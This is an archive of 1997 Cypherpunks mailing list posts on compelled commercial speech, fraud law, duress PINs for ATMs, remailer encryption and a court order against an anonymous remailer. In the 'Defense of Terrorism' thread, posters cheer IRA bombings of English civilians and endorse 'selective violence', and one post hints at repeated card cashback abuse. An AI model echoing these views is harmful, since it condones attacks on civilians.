>There is a lot of commercial compelled speech. For example,
>mutual funds must say that past performance is not a guarantee of future
>results.

>Do you find this kind of compelled speech unconstitutional?

Well I don't know how Duncan feels about it but I think it's highly
unconstutional.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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59n7r3qg/aU=
=2yF5
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 8 Jun 1997 20:24:54 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
Message-ID: <199706081214.HAA02893@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.LNX.3.91.970607230450.11734A-100000@fatmans.demon.co.uk>, on
06/07/97 
   at 11:11 PM, Paul Bradley <paul@fatmans.demon.co.uk> said:

>I live in mainland England. NI, although still violent, is now not the 
>only place bombed by the IRA, until a few years ago they mainly attacked 
>targets in NI, they now bomb all over the country.

Well I can only see this as a good thing. :)

It is the people of England that support that illegal occupation of Irish
soil by Brittish troops. It is only right that they should have to suffer
the consequences.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 8 Jun 1997 22:15:05 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081255.HAA03281@mailhub.amaranth.com>
Message-ID: <19970608065652.41575@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jun 08, 1997 at 07:51:37AM -0500, William H. Geiger III wrote:
>In <Pine.GSO.3.95.970608053415.20770A-100000@well.com>, on 06/08/97 
>   at 07:36 AM, Declan McCullagh <declan@well.com> said:
>
>>I don't think commercial speech should be treated as second-class speech.
>>But my position is hardly surprising. 
>
>Well I think that there are some that would confuse the issue between 1st
>Amendment free speech and the issues surrounding fraud. Especially those
>in government who write the laws that regulate commercial speech.
>

The prospectus is a legal document -- part of the contract between the
mutual fund and the customer. 

So, the question is, should there be any legal constraints on the 
"speech" in contracts?  Can I sign a contract, and later be able to 
say "Oh, *that* clause!  That was just a *joke*"?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 8 Jun 1997 22:26:32 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081145.GAA02690@mailhub.amaranth.com>
Message-ID: <19970608071045.57576@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jun 08, 1997 at 08:42:49AM -0500, Dr.Dimitri Vulis KOTM wrote:
> "William H. Geiger III" <whgiii@amaranth.com> writes:
> 
> > In <199706071754.MAA01524@manifold.algebra.com>, on 06/07/97
> >    at 12:54 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:
> >
> > >There is a lot of commercial compelled speech. For example,
> > >mutual funds must say that past performance is not a guarantee of future
> > >results.
> >
> > >Do you find this kind of compelled speech unconstitutional?
> >
> > Well I don't know how Duncan feels about it but I think it's highly
> > unconstutional.
> 
> I can still publish a book and claim that borshch (Russian beet soup)
> cures cancer.  However if I also offer to sell beets my mail order,
> the FDA can bite me. It's "constitutional" because it protects the
> olygopoly of the large drug companies with political connections.

Drug regulation muddies the waters quite a bit -- the issue is
commercial speech in general.  And that issue is a more basic one --
some entity (the government, in this case) is designated as the
"enforcer of contracts".  Contracts are special documents that by
their very nature involve "enforcement".  What you say in a contract
binds you.  What you say outside of a contract does not.  What you say
in a contract is, therefore, and by definition, not "free". 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 8 Jun 1997 21:17:56 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
Message-ID: <199706081255.HAA03281@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970608053415.20770A-100000@well.com>, on 06/08/97 
   at 07:36 AM, Declan McCullagh <declan@well.com> said:

>I don't think commercial speech should be treated as second-class speech.
>But my position is hardly surprising. 

Well I think that there are some that would confuse the issue between 1st
Amendment free speech and the issues surrounding fraud. Especially those
in government who write the laws that regulate commercial speech.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 21:48:18 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081145.GAA02690@mailhub.amaranth.com>
Message-ID: <36cZ8D27w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:

> In <199706071754.MAA01524@manifold.algebra.com>, on 06/07/97
>    at 12:54 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:
>
> >There is a lot of commercial compelled speech. For example,
> >mutual funds must say that past performance is not a guarantee of future
> >results.
>
> >Do you find this kind of compelled speech unconstitutional?
>
> Well I don't know how Duncan feels about it but I think it's highly
> unconstutional.

I can still publish a book and claim that borshch (Russian beet soup)
cures cancer.  However if I also offer to sell beets my mail order,
the FDA can bite me. It's "constitutional" because it protects the
olygopoly of the large drug companies with political connections.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 21:55:10 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081255.HAA03281@mailhub.amaranth.com>
Message-ID: <T2eZ8D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:

> In <Pine.GSO.3.95.970608053415.20770A-100000@well.com>, on 06/08/97
>    at 07:36 AM, Declan McCullagh <declan@well.com> said:
>
> >I don't think commercial speech should be treated as second-class speech.
> >But my position is hardly surprising.
>
> Well I think that there are some that would confuse the issue between 1st
> Amendment free speech and the issues surrounding fraud. Especially those
> in government who write the laws that regulate commercial speech.

Sure - it's their means of livelyhood :-)

Now, "fraud" suggests that the onus is on the gumbint to prove that the
claim is false.

However if I were to market "borshch" by mail order as a cure for cancer,
I'd be asked to "prove" in some ridiculous unscientific ways that it does
indeed cure cancer - spending $100M, which only the few large drug companies
can affort - suits them and the FDA just fine.

Troll: and how about them proposed restrictions on tobacco advertising...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 21:53:30 +0800
To: cypherpunks@toad.com
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <199706081214.HAA02893@mailhub.amaranth.com>
Message-ID: <o8eZ8D31w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:

> In <Pine.LNX.3.91.970607230450.11734A-100000@fatmans.demon.co.uk>, on
> 06/07/97
>    at 11:11 PM, Paul Bradley <paul@fatmans.demon.co.uk> said:
>
> >I live in mainland England. NI, although still violent, is now not the
> >only place bombed by the IRA, until a few years ago they mainly attacked
> >targets in NI, they now bomb all over the country.
>
> Well I can only see this as a good thing. :)
>
> It is the people of England that support that illegal occupation of Irish
> soil by Brittish troops. It is only right that they should have to suffer
> the consequences.

Paul,

The reason why the IRA bombs (or threatens to bomb) targets all over the UK
is that they want to make the voting public so sick and tired of the status
quo in NI that they'll demand a pull-out, which is just what the IRA wants.

The UK is a democracy - supposedly it's up to the voters to decide if they
want the UK to stay in NI, so the voters are being "persuaded".

The PLO used a similar successful strategy to convince Israeli voters to
agree to peace talks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 9 Jun 1997 01:16:33 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970608071045.57576@bywater.songbird.com>
Message-ID: <19970608100006.05695@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jun 08, 1997 at 10:31:41AM -0500, William H. Geiger III wrote:
>>Drug regulation muddies the waters quite a bit -- the issue is commercial
>>speech in general.  And that issue is a more basic one --
>>some entity (the government, in this case) is designated as the "enforcer
>>of contracts".  Contracts are special documents that by their very nature
>>involve "enforcement".  What you say in a contract binds you.  What you
>>say outside of a contract does not.  What you say in a contract is,
>>therefore, and by definition, not "free". 
>
><sigh> Ofcource what I say in a contract is "free". I can say anything I
>want in a contract solong as the parties involved agree.
>
>What is controled is my actions not my speech. If I enter into a
>"contract" to provide borshch on the promise that it will cure your cancer
>*knowing* that it will not then I am guilty of fraud. This fraud is caused
>by my not honoring the contract. The government does not have a right to
>restrict my speech in a contract only as an arbitrator of contracts do
>they have a right to restrict my actions (ie: that I live up to the
>conditions of the contract).

By this reasoning the mutual fund companies don't have restricted
speech either -- they are perfectly free to put whatever they want in
their prospecti -- the government will just come along and restrict
their actions, later.  Therefore, their freedom of speech is in no way
being impinged.

The fact is, a contract, by definition, implies that there are 
remedies, and an authority to enforce those remedies.  Furthermore, 
the rules that the authority uses need to be clear and explicit, and 
people entering into contracts under that authority better follow 
those rules.  In particular, they would be well advised to use speech 
in the contract that the authority understands.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 8 Jun 1997 23:54:11 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970608071045.57576@bywater.songbird.com>
Message-ID: <199706081538.KAA04719@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970608071045.57576@bywater.songbird.com>, on 06/08/97 
   at 07:10 AM, Kent Crispin <kent@songbird.com> said:

>On Sun, Jun 08, 1997 at 08:42:49AM -0500, Dr.Dimitri Vulis KOTM wrote: >
>"William H. Geiger III" <whgiii@amaranth.com> writes:
>> 
>> > In <199706071754.MAA01524@manifold.algebra.com>, on 06/07/97
>> >    at 12:54 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:
>> >
>> > >There is a lot of commercial compelled speech. For example,
>> > >mutual funds must say that past performance is not a guarantee of future
>> > >results.
>> >
>> > >Do you find this kind of compelled speech unconstitutional?
>> >
>> > Well I don't know how Duncan feels about it but I think it's highly
>> > unconstutional.
>> 
>> I can still publish a book and claim that borshch (Russian beet soup)
>> cures cancer.  However if I also offer to sell beets my mail order,
>> the FDA can bite me. It's "constitutional" because it protects the
>> olygopoly of the large drug companies with political connections.

>Drug regulation muddies the waters quite a bit -- the issue is commercial
>speech in general.  And that issue is a more basic one --
>some entity (the government, in this case) is designated as the "enforcer
>of contracts".  Contracts are special documents that by their very nature
>involve "enforcement".  What you say in a contract binds you.  What you
>say outside of a contract does not.  What you say in a contract is,
>therefore, and by definition, not "free". 

<sigh> Ofcource what I say in a contract is "free". I can say anything I
want in a contract solong as the parties involved agree.

What is controled is my actions not my speech. If I enter into a
"contract" to provide borshch on the promise that it will cure your cancer
*knowing* that it will not then I am guilty of fraud. This fraud is caused
by my not honoring the contract. The government does not have a right to
restrict my speech in a contract only as an arbitrator of contracts do
they have a right to restrict my actions (ie: that I live up to the
conditions of the contract).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 9 Jun 1997 00:44:31 +0800
To: Cyberdog <eric@clever.net>
Subject: Re: Steak Knife Decryption
In-Reply-To: <v03102800afbfbdb3624c@[204.249.244.13]>
Message-ID: <Pine.BSF.3.91.970608111220.5226B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Sat, 7 Jun 1997, Cyberdog wrote:

> >On Fri, 6 Jun 1997, Mike Duvos wrote:
> >
> >> An interesting twist on rubber hose decryption in the case of the
> >> murder of Jonathan Levin, son of the top executive of media
> >> giant Time Warner.
> >>
> >> Police believe his ATM card was stolen, and he was then jabbed
> >> with a steak knife until he revealed the PIN.
> >>
> >
> >A "duress" PIN which cancels the account would be a good addition;
> >similar to the "duress" code on home security systems that appear to
> >disarm the alarm but send a silent alarm to the monitoring station.
> >
> >-r.w.
> 
> I would want my account to remain active but instruct the machine to
> dispense marked cash in case I'm outside in the trunk.
> 

Excellent idea, but a lot harder to implement than simply having the 
system return a message that stated that your account is "overdrawn", and 
then notifying the security organization of your choice.

"Dude. I told ya, I don't have more than $10 in that account ..., just 
paid my rent/ alimony/ child-support/ bookie / parking tickets ... "

Since the criminal will no doubt be aware of this tactic, they'll be in 
the position of determining if the victim is lying about their lack of 
assets, or is using the security code. Will they be willing to risk 
murder against the possibility that the victim can be persuaded to give 
up the "real" number when other options are available? Possible, yes, but 
the average petty street criminal is looking for an easier mark.

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 9 Jun 1997 00:47:16 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <JumZ8D35w165w@bwalk.dm.com>
Message-ID: <199706081636.LAA05963@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <JumZ8D35w165w@bwalk.dm.com>, on 06/08/97 
   at 12:11 PM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>If I advertise that "borshch cures cancer" and Kent buys some borshch
>from me, and dies from cancer anyway, then what's the basis for the
>gubmint's involvement?

Fraud, which is just a special case of theift (theift by deception).

What you are selling is not borshch but a cure for cancer (which happens
to be borshch). Since your cure does not work this is seen as fraud which
is theift and thus the government steps in.

No if some disintrested 3rd party claims that borshch cures cancer, and
you sell borshch, there is no fraud if the borshch does not cure cancer as
you are just selling borshch which is all the you claimed it was. The 3rd
party is not guilty of fraud as they have not entered into any contractual
agreement with the buyer of the borshch.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 00:26:50 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970608071045.57576@bywater.songbird.com>
Message-ID: <VoLZ8D32w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:

> On Sun, Jun 08, 1997 at 08:42:49AM -0500, Dr.Dimitri Vulis KOTM wrote:
> > "William H. Geiger III" <whgiii@amaranth.com> writes:
> >
> > > In <199706071754.MAA01524@manifold.algebra.com>, on 06/07/97
> > >    at 12:54 PM, ichudov@Algebra.COM (Igor Chudov @ home) said:
> > >
> > > >There is a lot of commercial compelled speech. For example,
> > > >mutual funds must say that past performance is not a guarantee of future
> > > >results.
> > >
> > > >Do you find this kind of compelled speech unconstitutional?
> > >
> > > Well I don't know how Duncan feels about it but I think it's highly
> > > unconstutional.
> >
> > I can still publish a book and claim that borshch (Russian beet soup)
> > cures cancer.  However if I also offer to sell beets my mail order,
> > the FDA can bite me. It's "constitutional" because it protects the
> > olygopoly of the large drug companies with political connections.
>
> Drug regulation muddies the waters quite a bit -- the issue is
> commercial speech in general.  And that issue is a more basic one --
> some entity (the government, in this case) is designated as the
> "enforcer of contracts".  Contracts are special documents that by

Actually, in the European legal tradition, a prince/potentate only
assumed the responsibility to enforce a contract if that was explicitly
specified when the contract was entered, and often required a separate
fee. (Similarly, treaties between sovereigns called on various deities
to rnforce the contract.) In Russia during the Mongol times two folks
could enter a contract and choose to have the prince of Kiev, or Vladimir,
or Novgorod, or some other enforce it, and pay that prince a fee.
Then one of the parties could sue in that prince's court. A curious
system developed by the time the Russian gumbint got centralized around
Moscow - tsar's court sold special stamped paper which could be used
for contracts, promissory notes, etc. For a contract to be enforceable,
it had to be written on this paper. Only those who entered contracts
were paying for the upkeep of the enforcement mechanism.

Note that it wasn't necessary to register the contract with the
gubmint to make it enforceable (I think, this was a part of the stamp
act in the colonies).

> their very nature involve "enforcement".  What you say in a contract
> binds you.  What you say outside of a contract does not.  What you say
> in a contract is, therefore, and by definition, not "free".

When a tobacco company says in an ad, "Joe Camel is cool", what kind
of contractual obligations does it assume?

Have you ever bought a used car, Kent?  Have you seen the language in
the contract that throws out whatever promises the saleguy made that
are not a part of the contract? If I claim on Usenet that borshch
cures cancer, who are the counterparties, and what consideration do
I get?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 8 Jun 1997 19:23:17 +0800
To: Brian Lane <nexus@eskimo.com>
Subject: Re: Steak Knife Decryption
In-Reply-To: <339a38b3.40212914@mail.eskimo.com>
Message-ID: <Pine.LNX.3.91.970608115509.317C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>   Also, if the card was one of the Visa Debit cards (or even a real
> visa card
> for that matter) there are tons of places that it can be used without
> entering
> a PIN number or submitting to an ID check. Grocery stores and gas
> stations are
> two examples, although you cannot get cash from anywhere without using
> the PIN
> number (that I know of).

I don`t know about the USA but in the UK many large stores now have a 
system where when you make a transaction for shopping, you can ask for 
"cashback", so all you need is a signature to get cash from the card, 
however, I think the maximum amount per transaction is fairly low 
(something like $150) but there is nothing to stop someone going to a lot 
of different stores and repeating the process.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 00:31:56 +0800
To: cypherpunks@toad.com
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.91.970608163357.917A-100000@fatmans.demon.co.uk>
Message-ID: <4omZ8D34w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:
> > The reason why the IRA bombs (or threatens to bomb) targets all over the UK
> > is that they want to make the voting public so sick and tired of the status
> > quo in NI that they'll demand a pull-out, which is just what the IRA wants.
>
> Yes, I think you will also find that most people in mainland England
> don`t really have an opinion one way or the other, they vaguely feel that
> the British should pull out of NI because they want to stop the bombings,
> they also vaguely feel that would be giving in to "terrorists".

If the people in mainland England (and Scotland and Wales) are imprevious
to rational arguments (like, the UK should get the fuck out of NI because
they have no business being there :-) then perhaps that'll listen to
terrorism.  Perhaps not - such tactics seem to work better on some ethic
groups than on others, the the English took worse shit from the Germans
in WW II.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 00:28:42 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <Pine.LNX.3.91.970608164435.917D-100000@fatmans.demon.co.uk>
Message-ID: <JumZ8D35w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> writes:

> > The prospectus is a legal document -- part of the contract between the
> > mutual fund and the customer.
> >
> > So, the question is, should there be any legal constraints on the
> > "speech" in contracts?
>
> Of course, a contract is a binding document, that does not imply that
> there should be any legal constraint on the speech within that contract.
> If I sign a contract which says that I must kill myself on demand, and
> the penalty for breach of contract in this case is a fine of say $5000, I
> am certainly stupid if I sign such a contract, assuming that is that I am
> logical and not suicidal, I must later decide if I value my life at over
> $5000, I assure you, this is not a difficult question to answer ;-).

I don't know how they phrase it in the UK, but in the US such a contract
would violate "public policy" and is therefore unenforceable.

> The point is that breach of contract shouldn`t be a criminal offence, it
> is a civil offence, and the penalties for breach of contract should be
> agreed during negotiation of that contract. Therefore, I must evaluate
> for myself if I consider the contract to be reasonable and if I consider
> the penalties for breach of that contract too great to risk incurring
> such penaties. There is no reason to suggest that contractural speech is
> protected in this fashion, as it is an agreement and not pure speech.
>
> >Can I sign a contract, and later be able to
> > say "Oh, *that* clause!  That was just a *joke*"?
>
> This is a straw man, there is no way you can equate contractural speech
> and other forms of speech, one takes the form of an agreement, the civil
> crime commited on breach of contract is not a form of speech, it is an
> overt act which breaks that contract.

That's a very good point.  If I commit assault/battery on Kent, the
gubmint supposedly has jurisdiction because I've violated "king's peace".

If I advertise that "borshch cures cancer" and Kent buys some borshch
from me, and dies from cancer anyway, then what's the basis for the
gubmint's involvement?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 9 Jun 1997 00:47:53 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706081538.KAA04719@mailhub.amaranth.com>
Message-ID: <caNZ8D36w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:
> <sigh> Ofcource what I say in a contract is "free". I can say anything I
> want in a contract solong as the parties involved agree.

Are ads a part of the contract, though?

> What is controled is my actions not my speech. If I enter into a
> "contract" to provide borshch on the promise that it will cure your cancer
> *knowing* that it will not then I am guilty of fraud. This fraud is caused
> by my not honoring the contract. The government does not have a right to
> restrict my speech in a contract only as an arbitrator of contracts do
> they have a right to restrict my actions (ie: that I live up to the
> conditions of the contract).

If I enter into a sales contract with Kent to give him borsch to cure
his cancer, and this is not an FDA-approved treatment, then this contract
is against public policy and shouldn't be enforceable. :-)

But to convict me of fraud, the gubmint should prove that borshch doesn't
cure cancer.  How would one prove that?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 9 Jun 1997 03:52:10 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Who subscribes to the list?
In-Reply-To: <199706070142.DAA29774@basement.replay.com>
Message-ID: <3.0.1.32.19970608123101.02f91bcc@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:49 PM 6/6/97 -0500, Igor Chudov @ home wrote:
>What do remailer operators think about requiring all incoming messages
>to be encrypted?  Would that bring more good than harm?

For security, you need encryption.  There's really no question about it,
and a non-encrypted remailer chain is a joke.

For convenience, you'd rather not need user-visible encryption,
but SSL lets you do an encrypted web interface without the user
needing to do any work.  The catch is that it becomes much harder
to do chained encryption - if the cgi remailer program does it,
the connections from the web remailer through the chain are secure,
but the user still needs to trust the web-remailer.

You may not _want_ too much convenience, to discourage spammers,
but you may be willing to tolerate a joke level of security
as long as the joke is good enough and enjoyed by enough people....

On the balance, I'd say encrypt.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 9 Jun 1997 03:43:28 +0800
To: cypherpunks@Algebra.COM
Subject: Julf ordered to reveal anon IDs
Message-ID: <199706081936.MAA00296@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



> Julf

Johan Helsingius (Julf) has been ordered to release the identity of the
poster of one of the Scamizdat series of confidential materials. 

"The Court of Appeals of Helsinki (Helsingin hovioikeus) has upheld the
decision of the local court of Helsinki, in which Johan 'Julf' Helsingius
was ordered to reveal the user id of the person who used the anon.penet.fi
server to repost parts of Scamizdat, a collection of secret Scientology
scriptures. 

"In its decision dated 4th of June 1997, the Court of Appeals orders
Helsingius to reveal the names in 30 days after the decision becomes
final. If he doesn't try to appeal the decision it will mean that he has
to reveal the user id within three months. He might appeal the decision to
the Supreme Court within 60 days, in which case the whole thing will take
longer, regardless of whether the Supreme Court chooses to consider the
case or not. 

"The following ID's were used to send material through anon.penet.fi: 
an498608@anon.penet.fi, an545430@anon.penet.fi

"The material was a repost of Scamizdat #11, in several parts. The
original repost was done on 15.2.1996, and partly repeated 12.3.1996." 

Message-ID: <5n7g0v$h75@reimari.uwasa.fi>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kris Carlier <root@iguana.be>
Date: Sun, 8 Jun 1997 19:34:44 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.91.970607230450.11734A-100000@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.95.970608133133.2498A-100000@inlimbox.iguana.be>
MIME-Version: 1.0
Content-Type: text/plain



High Paul,

On Sat, 7 Jun 1997, Paul Bradley wrote:

I'm sorry, I should refrain from posting to this list again till I
understand English ;-)

> disagreements, but I believe the only way to remove the power of the 
> state is through selective violence as part of an overall strategy 
> including strong cryptography and associated technologies. 

I agree with civil disobediance as a matter of revolt, and of course if
you have a reason to do so. Not everything the government does is wrong,
only because it is done by the government.

kr=

                   \\\___///
                  \\  - -  //
                   (  @ @  )
 +---------------oOOo-(_)-oOOo-------------+
 |     kris carlier - carlier@iguana.be    |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion    |
 |            SMS: +32-75-61.43.05         |
 +------------------------Oooo-------------+
                  oooO   (   )
                 (   )    ) /
                  \ (    (_/
                   \_)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 9 Jun 1997 00:03:58 +0800
To: carlier@iguana.be
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.95.970608133133.2498A-100000@inlimbox.iguana.be>
Message-ID: <Pine.LNX.3.91.970608135502.729A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> I agree with civil disobediance as a matter of revolt, and of course if
